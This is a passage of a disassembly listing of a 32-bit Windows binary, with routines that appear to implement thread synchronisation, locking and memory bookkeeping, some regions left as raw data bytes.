edi, [eax] jmp short loc_430A62 ; --------------------------------------------------------------------------- loc_430A45: ; CODE XREF: sub_4309A0+99j lea eax, [esi+14h] push 0 push eax call sub_4021BC mov edi, eax add esp, 8 test edi, edi jz short loc_430ACF push ebx call sub_401690 add esp, 4 loc_430A62: ; CODE XREF: sub_4309A0+A3j push ebp call sub_401690 add esp, 4 loc_430A6B: ; CODE XREF: sub_4309A0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_430AC2 loc_430A7B: ; CODE XREF: sub_4309A0+131j push offset dword_510980 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_5103C0 mov [esi+1Ch], ecx mov eax, dword_5103C0 test eax, eax jz short loc_430AA2 mov [eax+18h], esi loc_430AA2: ; CODE XREF: sub_4309A0+FDj mov eax, dword_5103BC mov dword_5103C0, esi test eax, eax jnz short loc_430AB7 mov dword_5103BC, esi loc_430AB7: ; CODE XREF: sub_4309A0+10Fj push offset dword_510980 call near ptr 7C9010EDh nop loc_430AC2: ; CODE XREF: sub_4309A0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4309A0+B7j xor edi, edi jmp short loc_430A7B sub_4309A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430B30 proc near ; CODE XREF: sub_401AA5j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_430CDC mov eax, [edi] test eax, eax jz loc_430CDC cmp eax, 0FFFFFFFFh jz loc_430C93 push offset dword_510980 call near ptr 7C901005h nop mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430B89 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430B89: ; CODE XREF: sub_430B30+49j lea ebp, [esi+14h] push ebp call sub_401785 add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_430BB0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_430B30+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_430BE9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_430BD2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_430BD2: ; CODE XREF: sub_430B30+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_430C7E ; --------------------------------------------------------------------------- loc_430BE9: ; CODE XREF: sub_430B30+87j push ebx mov dword ptr [edi], 0 call sub_401690 mov edi, dword_511A70 add esp, 4 test eax, eax jz short loc_430C0A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_430C0A: ; CODE XREF: sub_430B30+D0j lea eax, [esi+0Ch] push eax call sub_401690 add esp, 4 test eax, eax jz short loc_430C22 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_430C22: ; CODE XREF: sub_430B30+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_430C3C push ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103BC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103BC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103C0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103C0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_510980 call near ptr 7C9010EDh nop mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510900 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510900 nop call near ptr 7C9010EDh loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 call near ptr 77C1F2BCh nop mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 27902E2h loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx nop call near ptr 77C2C21Bh mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108C0 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax nop call near ptr 278065Eh cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108C0 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax nop call near ptr 27805BDh test eax, eax jnz short loc_431517 call edi ; _errno mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103B4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 233F702h, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0ECD2E850h dd 50900237h, 9050D3FFh, 34EA43E8h, 5BC08502h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 234F086h dd 28468990h, 3B4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103C4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103C4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax call near ptr 277090Bh nop test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov esi, dword_447708 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108C0 mov dword_447708, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108C0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108C0 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447708 push offset dword_5108C0 mov [edx+8], eax mov dword_447708, edx call near ptr 7C9010EDh nop pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 2770760h mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax call near ptr 2790766h nop test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510920 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510920 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov 